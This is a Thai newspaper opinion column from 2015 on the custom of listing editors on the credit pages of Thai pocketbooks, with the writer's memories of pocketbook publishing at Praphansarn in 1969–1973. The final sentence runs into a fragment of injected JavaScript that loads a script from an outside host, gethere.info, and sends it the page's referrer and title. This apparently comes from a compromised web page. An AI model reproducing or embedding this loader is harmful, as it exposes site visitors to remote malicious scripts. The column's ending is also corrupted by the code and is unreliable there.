มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 16 กรกฎาคม 2558

 

บัญชีหางว่าวในหนังสือขาย

           พ็อคเก็ตบุ๊กไทยในตลาดทุกวันนี้ มีรายชื่อคนเหมือนบัญชีหางว่าวอยู่พื้นที่หน้าเครดิตหรือแค็ตตาล็อก

           [แต่ละคนเรียกต่างกัน แต่เข้าใจตรงกันว่าหน้าตรงข้ามสารบัญ]

           บัญชีหางว่าวมีชื่อตั้งแต่บรรณาธิการ (หลายระดับ), กองบรรณาธิการ, กองจัดการ, ที่ปรึกษา ฯลฯ พิมพ์ไว้ทุกเล่มเหมือนนิตยสารรายสัปดาห์, รายปักษ์, รายเดือน

           มีผู้ถามมานานแล้ว หลายหนแล้ว ว่าเป็นประเพณีมาจากไหน? เมื่อไร? ทำไม?

           ต้องยกเป็นนวัตกรรมล่าสุดของวงการสำนักพิมพ์ในไทย แห่งเดียวในโลก? เพราะผมอธิบายไม่ได้ และหมดปัญญาหาคำอธิบาย ไม่รู้จะหาที่ไหน?

           จนเห็นประกาศงานเทศกาลหนังสือกรุงเทพมหานคร (17-19 กรกฎาคม) แล้วชอบคำขวัญประจำงานที่ว่า “หนังสือคือศิลปะ หนังสือคือวัฒนธรรม”

           เลยถือโอกาสทบทวนจากความจำ (ซึ่งอาจมีคลาดเคลื่อนบ้างก็ได้) เพื่อสนับสนุนกิจกรรมดีๆอย่างนี้

bangkok book festival

รับฝรั่งล้วนๆ

           หนังสือเล่ม เป็นผลจากกระบวนการผลิตที่ไทยรับจากวัฒนธรรมตะวันตก มีเค้ามาตั้งแต่ยุคปลายอยุธยา แล้วเข้มข้นเป็นตัวตนขึ้นยุคต้นรัตนโกสินทร์ ราว ร.1-3

           รูปแบบเป็นตะวันตกล้วนๆ ส่วนเนื้อหามีทั้งท้องถิ่นและตะวันตกอยู่ปนกัน แต่ท้ายสุดก็หนีไม่พ้นเป็นตะวันตก

           ดังนั้น หน้าเครดิต-แค็ตตาล็อกจึงมีต้นแบบที่ตะวันตก เพื่อบอกเกี่ยวกับลิขสิทธิ์, ผู้พิมพ์, ที่มาของหนังสือ, โรงพิมพ์, คนออกแบบปกและรูปเล่ม, ฯลฯ หรือที่จำเป็นต้องบอก

           แต่ไม่มีบอกชื่อบรรณาธิการและกองบรรณาธิการของสำนักพิมพ์ ทั้งๆฝรั่งเขามีเต็มคณะ

           ในกรณีที่มีชื่อเอดิเตอร์ (บรรณาธิการ) มุ่งเฉพาะหนังสือวิชาการที่เอดิเตอร์เป็นผู้คัดสรรบทความวิชาการมารวมอยู่ในเล่มเดียวกัน แล้วเขียน Introduction (คำนำเสนอ)

           ที่สำคัญคือชื่อเอดิเตอร์ขายได้ เพราะมีผลงานเป็นที่ยอมรับนับถือจากสถาบันวิชาการและนักวิชาการ จนทุกวันนี้ก็ยังเป็นอย่างนี้

           ไม่แต่ฝรั่งตะวันตกเท่านั้น แม้ในโลกหนังสือสากลก็ทำนองเดียวกัน ทั้งญี่ปุ่น, ออสเตรเลีย, อินเดีย, สิงคโปร์ ฯลฯ

 

พ็อคเก็ตบุ๊กยุคแรก

           ขรรค์ชัย บุนปาน ชวนผมไปรับจ้างเสาะหาและคัดกรองต้นฉบับ ตลอดจนควบคุมการผลิตหนังสือพ็อคเก็ตบุ๊กของสำนักพิมพ์ประพันธ์สาส์น (เฮียชิว สุพล เตชะธาดา) ระหว่าง พ.ศ. 2512-2516 มีที่ทำงานเป็นห้องแคบๆ ข้างบันไดขึ้นชั้นลอยตึกแถวในเวิ้งนาครเขษม

           [ตอนแรกยังเป็นนักเรียนโบราณคดี ศิลปากร แต่ทำต่อเนื่องจนเรียนจบเข้าทำงานที่สยามรัฐ]

           แต่ไม่เคยมีชื่อลงพิมพ์ใส่ในหน้าเครดิต-แค็ตตาล็อกของหนังสือทุกเล่มที่ผลิตในช่วงเวลานั้นจากสำนักพิมพ์ประพันธ์สาส์น แม้สำนักพิมพ์อื่นในไทยสมัยนั้นก็ไม่เคยมี เพราะเขาไม่ทำกัน

           สำนักพิมพ์ประพันธ์สาส์นเป็นผู้บุกเบิกพ็อคเก็ตบุ๊กอย่างเป็นจริงเป็นจัง (ก่อนหน้านั้นก็มีรายอื่นๆผลิตพ็อคเก็ตบุ๊ก แต่ไม่จริงจัง) ทั้งๆยุคนั้นทางการไทย เช่น หอสมุดแห่งชาติ ไม่ยอมรับหนังสือพ็อคเก็ตบุ๊กเข้าหอฯไว้บริการคนอ่าน

           ด้วยเหตุผลอย่างเดียว คือ อนุรักษนิยมสุดโต่งของคนชั้นนำที่ไม่อ่านหนังสือ แต่มีอำนาจกำหนดอนาคตหนังสือและคนอ่านs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {